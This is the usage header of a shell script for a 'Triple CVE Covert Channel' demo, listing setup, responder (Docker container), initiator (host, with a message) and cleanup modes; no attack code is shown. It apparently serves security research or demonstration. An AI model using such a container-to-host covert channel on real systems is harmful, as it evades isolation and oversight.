#
# run_triple_cve.sh - Setup and run Triple CVE Covert Channel demo
#
# Usage:
#   ./run_triple_cve.sh setup       - Build image and setup environment
#   ./run_triple_cve.sh responder   - Start responder (Docker container)
#   ./run_triple_cve.sh initiator MSG - Start initiator (Host) with message
#   ./run_triple_cve.sh cleanup     - Remove containers
